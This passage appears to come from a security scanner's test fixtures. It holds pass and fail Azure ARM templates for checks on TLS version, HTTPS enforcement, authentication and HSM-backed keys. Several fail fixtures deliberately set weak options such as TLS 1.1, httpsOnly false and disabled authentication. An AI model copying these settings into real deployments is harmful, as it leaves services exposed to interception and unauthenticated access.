    \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": true,\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"proxyKey\": {\n      \"type\": \"object\",\n      \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppMinTLSVersion/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"siteConfig\": {\n          \"minTlsVersion\": \"1.1\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppMinTLSVersion/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"siteConfig\": {\n          \"minTlsVersion\": \"1.1\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"siteConfig\": {\n          \"minTlsVersion\": \"1.2\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"siteConfig\": {\n          \"minTlsVersion\": 1.2\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"siteConfig\": {\n          \"minTlsVersion\": \"1.2\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppMinTLSVersion/pass4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"functionapp,linux\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"siteConfig\": {\n          \"minTlsVersion\": 1.3\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_config_fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"11556880252039009077\"\n    }\n  },\n  \"parameters\": {\n    \"hostingPlanName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Name of the hosting plan to use in Azure.\"\n      }\n    },\n    \"webSiteName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Web app to create.\"\n      }\n    }\n  },\n  \"resources\": [\n\n\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"sites_config_fail\",\n      \"properties\": {\n        \"globalValidation\": {\n      \"requireAuthentication\": true,\n      \"unauthenticatedClientAction\": \"Return401\"\n    },\n    \"httpSettings\": {\n      \"forwardProxy\": {\n        \"convention\": \"NoProxy\"\n      },\n      \"requireHttps\": false,\n      \"routes\": {\n        \"apiPrefix\": \"/.auth\"\n      }\n    },\n        \"javaVersion\": \"1.8\",\n        \"javaContainer\": \"TOMCAT\",\n        \"javaContainerVersion\": \"9.0\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/sites', parameters('webSiteName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_config_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"11556880252039009077\"\n    }\n  },\n  \"parameters\": {\n    \"hostingPlanName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Name of the hosting plan to use in Azure.\"\n      }\n    },\n    \"webSiteName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Web app to create.\"\n      }\n    }\n  },\n  \"resources\": [\n\n\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"sites_config_pass\",\n      \"properties\": {\n        \"globalValidation\": {\n      \"requireAuthentication\": true,\n      \"unauthenticatedClientAction\": \"Return401\"\n    },\n    \"httpSettings\": {\n      \"forwardProxy\": {\n        \"convention\": \"NoProxy\"\n      },\n      \"requireHttps\": true,\n      \"routes\": {\n        \"apiPrefix\": \"/.auth\"\n      }\n    },\n        \"javaVersion\": \"1.8\",\n        \"javaContainer\": \"TOMCAT\",\n        \"javaContainerVersion\": \"9.0\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/sites', parameters('webSiteName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_config_pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"11556880252039009077\"\n    }\n  },\n  \"parameters\": {\n    \"hostingPlanName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Name of the hosting plan to use in Azure.\"\n      }\n    },\n    \"webSiteName\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Web app to create.\"\n      }\n    }\n  },\n  \"resources\": [\n\n\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"sites_config_pass1\",\n      \"properties\": {\n        \"globalValidation\": {\n      \"requireAuthentication\": true,\n      \"unauthenticatedClientAction\": \"Return401\"\n    },\n    \"httpSettings\": {\n      \"forwardProxy\": {\n        \"convention\": \"NoProxy\"\n      },\n      \"routes\": {\n        \"apiPrefix\": \"/.auth\"\n      }\n    },\n        \"javaVersion\": \"1.8\",\n        \"javaContainer\": \"TOMCAT\",\n        \"javaContainerVersion\": \"9.0\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/sites', parameters('webSiteName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"10602523904429381366\"\n    }\n  },\n  \"parameters\": {\n\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"DOTNETCORE|3.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanPortalName\": \"[format('AppServicePlan-{0}', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"sites_fail\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]\",\n        \"httpsOnly\": false,\n        \"siteConfig\": {\n          \"detailedErrorLoggingEnabled\": true,\n          \"httpLoggingEnabled\": true,\n          \"requestTracingEnabled\": true,\n          \"ftpsState\": \"Disabled\",\n          \"minTlsVersion\": \"1.2\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]\",\n        \"[resourceId('Microsoft.Web/sites', parameters('webAppNameBackend'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"sites_fail\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"httpsOnly\": false,\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"minTlsVersion\": \"1.2\",\n          \"ftpsState\": \"FtpsOnly\"\n        }\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"10602523904429381366\"\n    }\n  },\n  \"parameters\": {\n\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"DOTNETCORE|3.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanPortalName\": \"[format('AppServicePlan-{0}', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n      {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"sites_fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]\",\n        \"siteConfig\": {\n          \"detailedErrorLoggingEnabled\": true,\n          \"httpLoggingEnabled\": true,\n          \"requestTracingEnabled\": true,\n          \"ftpsState\": \"Disabled\",\n          \"minTlsVersion\": \"1.2\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]\",\n        \"[resourceId('Microsoft.Web/sites', parameters('webAppNameBackend'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"sites_fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"minTlsVersion\": \"1.2\",\n          \"ftpsState\": \"FtpsOnly\"\n        }\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsAccessibleOverHttps/sites_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"10602523904429381366\"\n    }\n  },\n  \"parameters\": {\n\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"F1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan.\"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"DOTNETCORE|3.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"repoUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \" \",\n      \"metadata\": {\n        \"description\": \"Optional Git Repo URL\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanPortalName\": \"[format('AppServicePlan-{0}', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n      {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"sites_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]\",\n        \"httpsOnly\": true,\n        \"siteConfig\": {\n          \"detailedErrorLoggingEnabled\": true,\n          \"httpLoggingEnabled\": true,\n          \"requestTracingEnabled\": true,\n          \"ftpsState\": \"Disabled\",\n          \"minTlsVersion\": \"1.2\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', parameters('serverFarmName'))]\",\n        \"[resourceId('Microsoft.Web/sites', parameters('webAppNameBackend'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"sites_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"httpsOnly\": true,\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"minTlsVersion\": \"1.2\",\n          \"ftpsState\": \"FtpsOnly\"\n        }\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanPortalName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"authsettingsV2\",\n      \"properties\": {\n        \"httpSettings\": {\n          \"forwardProxy\": {\n            \"convention\": \"Custom\"\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"authsettingsV2\",\n      \"properties\": {\n        \"httpSettings\": {\n          \"forwardProxy\": {\n            \"convention\": \"Custom\"\n          }\n        },\n        \"platform\": {\n          \"enabled\": false\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"authsettingsV2\",\n      \"properties\": {\n        \"httpSettings\": {\n          \"forwardProxy\": {\n            \"convention\": \"Custom\"\n          }\n        },\n        \"platform\": {\n          \"enabled\": true\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppsEnableAuthentication/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"httpSettings\": {\n          \"forwardProxy\": {\n            \"convention\": \"Custom\"\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyBackedByHSM/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key vault to be created.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key to be created.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the resources\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard\",\n      \"allowedValues\": [\n        \"standard\",\n        \"premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The SKU of the vault to be created.\"\n      }\n    },\n    \"keyType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"RSA\",\n      \"allowedValues\": [\n        \"EC\",\n        \"EC-HSM\",\n        \"RSA\",\n        \"RSA-HSM\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyType of the key to be created.\"\n      }\n    },\n    \"keyOps\": {\n      \"type\": \"array\",\n      \"defaultValue\": [],\n      \"metadata\": {\n        \"description\": \"The permitted JSON web key operations of the key to be created.\"\n      }\n    },\n    \"keySize\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2048,\n      \"metadata\": {\n        \"description\": \"The size in bits of the key to be created.\"\n      }\n    },\n    \"curveName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"allowedValues\": [\n        \"\",\n        \"P-256\",\n        \"P-256K\",\n        \"P-384\",\n        \"P-521\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyCurveName of the key to be created.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2021-11-01-preview\",\n      \"name\": \"[parameters('vaultName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"accessPolicies\": [],\n        \"enableRbacAuthorization\": true,\n        \"enableSoftDelete\": true,\n        \"softDeleteRetentionInDays\": \"90\",\n        \"enabledForDeployment\": false,\n        \"enabledForDiskEncryption\": false,\n        \"enabledForTemplateDeployment\": false,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      